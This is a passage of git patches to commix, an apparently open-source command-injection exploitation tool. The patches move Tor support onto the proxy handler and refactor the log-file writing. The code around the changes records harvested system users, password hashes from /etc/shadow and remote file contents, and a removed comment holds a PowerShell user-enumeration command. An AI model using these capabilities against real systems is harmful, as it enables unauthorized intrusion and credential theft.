response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 0ca65b1046..2131b05d4b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -25,7 +25,6 @@ from src.utils import settings from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/main.py b/src/core/main.py index 970699fed0..19cf6355e7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -114,9 +114,6 @@ def examine_request(request, url): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy or menu.options.ignore_proxy: return proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - return tor.use_tor(request) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) @@ -205,9 +202,6 @@ def url_response(url): # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname - # Check if defined Tor (--tor option). - if menu.options.tor and settings.TOR_CHECK_AGAIN: - tor.do_check() if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests @@ -649,10 +643,6 @@ def main(filename, url): if menu.options.answers: settings.ANSWERS = menu.options.answers - if not menu.options.proxy: - if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: - menu.options.ignore_proxy = True - # Check if defined "--proxy" option. if menu.options.proxy: if menu.options.tor: @@ -677,6 +667,16 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() + if not menu.options.proxy: + if _urllib.parse.urlparse(menu.options.url).hostname in ("localhost", "127.0.0.1") or menu.options.ignore_proxy: + menu.options.ignore_proxy = True + # Check if defined Tor (--tor option). + elif menu.options.tor: + if menu.options.tor_port: + settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port + menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + tor.do_check() + if menu.options.ignore_session and menu.options.flush_session: err_msg = "The '--ignore-session' option is unlikely to work combined with the '--flush-session' option." print(settings.print_critical_msg(err_msg)) @@ -757,14 +757,14 @@ def main(filename, url): settings.DELAY = menu.options.delay # Check if defined "--timesec" option. - if menu.options.timesec > 0: + if menu.options.timesec != 0: settings.TIMESEC = menu.options.timesec - else: - if menu.options.tor: - settings.TIMESEC = 10 - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + + if menu.options.tor: + settings.TIMESEC = settings.TIMESEC * 2 + warn_msg = "Increasing default value for option '--time-sec' to" + warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." + print(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index da27e20e44..7f2f4914b9 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -12,7 +12,6 @@ from src.utils import menu from src.utils import logs from src.utils import settings -from src.core.requests import tor from src.core.requests import proxy from src.thirdparty.colorama import Fore, Back, Style, init from src.core.shells import bind_tcp @@ -313,11 +312,8 @@ def shellshock_handler(url, http_request_method, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == "Cookie": @@ -562,11 +558,8 @@ def check_for_shell(url, cmd, cve, check_header, filename): log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor. - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if check_header == "User-Agent": diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 63b8e77ca6..8de8c6a9ec 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -20,7 +20,6 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.utils import common @@ -175,11 +174,8 @@ def http_auth_cracker(url, realm): headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - tor.use_tor(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # Store valid results to session admin_panel = url diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index e23ff14341..8e8a7e7c9f 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -33,6 +33,10 @@ def use_proxy(request): proxy = _urllib.request.ProxyHandler({}) opener = _urllib.request.build_opener(proxy) _urllib.request.install_opener(opener) + elif menu.options.tor: + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:menu.options.proxy}) + opener = _urllib.request.build_opener(proxy) + _urllib.request.install_opener(opener) else: request.set_proxy(menu.options.proxy, settings.SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 67c5515385..5c7c759b26 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -27,7 +27,6 @@ _http_client._MAXLINE = 1 * 1024 * 1024 from src.utils import common from src.utils import crawler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests @@ -52,10 +51,8 @@ def crawler_request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: @@ -278,7 +275,15 @@ def request_failed(err_msg): except IndexError: error_msg = str(err_msg) - if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): + if "Tunnel connection failed" in str(error_msg) and menu.options.tor: + err_msg = "Can't establish connection with the Tor network. " + err_msg += "Please make sure that you have " + err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err_msg += "so you could be able to successfully use switch '--tor'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection. " if settings.MULTI_TARGETS or settings.CRAWLING: @@ -292,9 +297,15 @@ def request_failed(err_msg): elif any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): settings.MAX_RETRIES = 1 err = "Unable to connect to the target URL" - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.tor: + err += " or Tor HTTP proxy." + elif menu.options.proxy or menu.options.ignore_proxy: err += " or proxy" err = err + " (Reason: " + str(error_msg) + "). " + if menu.options.tor: + err += "Please make sure that you have " + err += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err += "so you could be able to successfully use switch '--tor'." if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." error_msg = err @@ -393,16 +404,11 @@ def request_failed(err_msg): def get_request_response(request): headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: try: response = proxy.use_proxy(request) except Exception as err_msg: response = request_failed(err_msg) - elif menu.options.tor: - try: - response = tor.use_tor(request) - except Exception as err_msg: - response = request_failed(err_msg) else: try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) @@ -437,11 +443,8 @@ def inject_cookie(url, vuln_parameter, payload): request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -484,11 +487,8 @@ def inject_user_agent(url, vuln_parameter, payload): request.add_header('User-Agent', payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -531,11 +531,8 @@ def inject_referer(url, vuln_parameter, payload): request.add_header('Referer', payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -586,11 +583,8 @@ def inject_host(url, vuln_parameter, payload): request.add_header('Host', payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -636,11 +630,8 @@ def inject_custom_header(url, vuln_parameter, payload): request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) try: headers.check_http_traffic(request) - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 2a485601ec..9c104c12dd 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -20,81 +20,40 @@ from src.utils import menu from src.utils import settings from src.utils import requirments +from src.core.requests import proxy from src.core.requests import requests from src.thirdparty.colorama import Fore, Back, Style, init -def tor_bandle_error(): - print(settings.SINGLE_WHITESPACE) - err_msg = "Can't establish connection with the Tor HTTP proxy. " - err_msg += "Please make sure that you have " - err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " - err_msg += "so you could be able to successfully use switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check if Tor HTTP proxy is defined. """ -def do_check(): - if menu.options.tor_port: - settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port - check_tor_http_proxy = True - info_msg = "Testing Tor HTTP proxy settings (" - info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT - info_msg += "). " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - opener = _urllib.request.build_opener(tor_http_proxy) - _urllib.request.install_opener(opener) - except: - check_tor_http_proxy = False - pass - - if check_tor_http_proxy: - try: - check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) - if not "You are not using Tor" in check_tor_page: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if menu.options.tor_check: - info_msg = "Connection with the Tor HTTP proxy is properly set. " - else: - info_msg = "" - found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) - info_msg += "Your ip address appears to be " + found_ip[0] + ".\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) - else: - tor_bandle_error() - - except _urllib.error.URLError as err_msg: - tor_bandle_error() - - except Exception as err_msg: - return requests.request_failed(err_msg) +def tor_connection_error(): + err_msg = "It appears that Tor is not properly set. Please " + if not menu.options.tor_port: + err_msg += "try again using option '--tor-port'." + else: + err_msg += "check again the provided option '--tor-port'." + print(settings.print_error_msg(err_msg)) + raise SystemExit() -""" -Use the TOR HTTP Proxy. -""" -def use_tor(request): +def do_check(): + info_msg = "Testing Tor HTTP proxy settings." + print(settings.print_info_msg(info_msg)) if menu.options.offline: err_msg = "You cannot use Tor network while offline." print(settings.print_critical_msg(err_msg)) raise SystemExit() - try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) - opener = _urllib.request.build_opener(tor_http_proxy) - _urllib.request.install_opener(opener) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - + request = _urllib.request.Request(settings.CHECK_TOR_PAGE) + response = proxy.use_proxy(request) + page = response.read().decode(settings.DEFAULT_CODEC) except Exception as err_msg: - return requests.request_failed(err_msg) + page = None + if not page or "Congratulations" not in page: + tor_connection_error() + else: + info_msg = "Connection with the Tor HTTP proxy is properly set. " + print(settings.print_info_msg(info_msg)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index f93ae50575..cab9e7cb01 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "39" +REVISION = "40" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -681,6 +681,7 @@ class OS(object): TOR_HTTP_PROXY_IP = "127.0.0.1" TOR_HTTP_PROXY_PORT = "8118" TOR_HTTP_PROXY_SCHEME = "https" +CHECK_TOR_PAGE = "https://check.torproject.org/" # Cookie injection COOKIE_INJECTION = None From 1d9ad2384b7b37696cba53c3248c36b886f9e093 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Dec 2023 09:51:13 +0200 Subject: [PATCH 383/560] Refactoring related to https://github.com/commixproject/commix/pull/882 --- doc/THANKS.md | 1 + src/core/injections/controller/checks.py | 142 +++++++++-------------- src/utils/logs.py | 72 ++++++------ src/utils/settings.py | 2 +- 4 files changed, 89 insertions(+), 128 deletions(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index b4da4e123a..061d357918 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [anonymousdouble](https://github.com/anonymousdouble) for contributing code. * Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature. * Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. * Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 93bd7cc39c..7dc809a47d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1911,11 +1911,10 @@ def print_hostname(shell, filename, _): info_msg = "Hostname: " + str(shell) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg)) @@ -1930,11 +1929,10 @@ def print_current_user(cu_account, filename, _): info_msg = "Current user: " + str(cu_account) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) @@ -1954,12 +1952,10 @@ def print_current_user_privs(shell, filename, _): info_msg = "Current user has excessive privileges: " + str(priv) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) """ Print OS info """ @@ -1970,11 +1966,10 @@ def print_os_info(target_os, target_arch, filename, _): info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) @@ -2041,41 +2036,20 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 for user in range(0, len(sys_users_list)): count = count + 1 - # if menu.options.privileges: - # cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - # if alter_shell: - # cmd = escape_single_quoted_cmd(cmd) - # cmd = "cmd /c " + cmd - # from src.core.injections.results_based.techniques.classic import cb_injector - # response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # check_privs = cb_injector.injection_results(response, TAG, cmd) - # check_privs = "".join(str(p) for p in check_privs).strip() - # check_privs = re.findall(r"(.*)", check_privs) - # check_privs = "".join(str(p) for p in check_privs).strip() - # check_privs = check_privs.split() - # if "Admin" in check_privs[0]: - # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " admin user" - # is_privileged_nh = " is admin user " - # else: - # is_privileged = Style.RESET_ALL + "is" + Style.BRIGHT + " regular user" - # is_privileged_nh = " is regular user " - # else : is_privileged = is_privileged = "" print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." @@ -2104,10 +2078,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(" " + sys_users) else: sys_users_list = [] for user in range(0, len(sys_users), 3): @@ -2120,10 +2093,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi info_msg += " [" + str(len(sys_users_list)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) count = 0 for user in range(0, len(sys_users_list)): sys_users = sys_users_list[user] @@ -2160,12 +2132,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi is_privileged_nh = "" print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") '" + fields[0] + "' " + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) except ValueError: if count == 1 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " @@ -2173,10 +2144,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(" " + sys_users) else: # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" @@ -2206,10 +2176,9 @@ def print_passes(sys_passes, filename, _, alter_shell): info_msg += " password hashes [" + str(len(sys_passes)) + "]:" print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) count = 0 for line in sys_passes: count = count + 1 @@ -2219,12 +2188,11 @@ def print_passes(sys_passes, filename, _, alter_shell): if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - if count == 1 : - output_file.write("\n") - output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if count == 1 : + output_file.write("\n") + output_file.write("(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") # Check for appropriate '/etc/shadow' format. except IndexError: if count == 1 : @@ -2232,10 +2200,9 @@ def print_passes(sys_passes, filename, _, alter_shell): warn_msg += "in the appropriate format. Thus, it is expoted as a text file." print(settings.print_warning_msg(warn_msg)) print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write(" " + fields[0]) else: warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." @@ -2375,12 +2342,11 @@ def file_read_status(shell, file_to_read, filename): if shell: _ = "Fetched file content" print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = "Extracted content of the file '" + info_msg += file_to_read + "' : " + shell + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the content of the file '" + file_to_read + "'." diff --git a/src/utils/logs.py b/src/utils/logs.py index 3af49b76ad..b8f27c180e 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -104,15 +104,14 @@ def create_log_file(url, output_dir): # The logs filename construction. filename = logs_path + settings.OUTPUT_FILE try: - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("\n" + "=" * 37) - output_file.write("\n" + "| Started in " + \ - str(date.today()) + \ - " at " + datetime.now().strftime("%H:%M:%S") + " |") - output_file.write("\n" + "=" * 37) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write("\n" + "=" * 37) + output_file.write("\n" + "| Started in " + \ + str(date.today()) + \ + " at " + datetime.now().strftime("%H:%M:%S") + " |") + output_file.write("\n" + "=" * 37) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) except IOError as err_msg: try: error_msg = str(err_msg.args[0]).split("] ")[1] + "." @@ -120,7 +119,6 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]) + "." print(settings.print_critical_msg(error_msg)) raise SystemExit() - return filename """ @@ -130,41 +128,38 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech if export_injection_info == False: settings.SHOW_LOGS_MSG = True - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) - output_file.close() - export_injection_info = True - + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title()) + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title()) + export_injection_info = True return export_injection_info """ Add the vulnerable parameter in log files. """ def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): - output_file = open(filename, "a") - if not menu.options.no_logging: - if header_name[1:] == "cookie": - header_name = " ("+ header_name[1:] + ") " + vuln_parameter - if header_name[1:] == "": - header_name = " ("+ http_request_method + ") " + vuln_parameter - output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) - vp_flag = False - output_file.write("\n") - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + if header_name[1:] == "cookie": + header_name = " ("+ header_name[1:] + ") " + vuln_parameter + if header_name[1:] == "": + header_name = " ("+ http_request_method + ") " + vuln_parameter + output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:]) + vp_flag = False + output_file.write("\n") 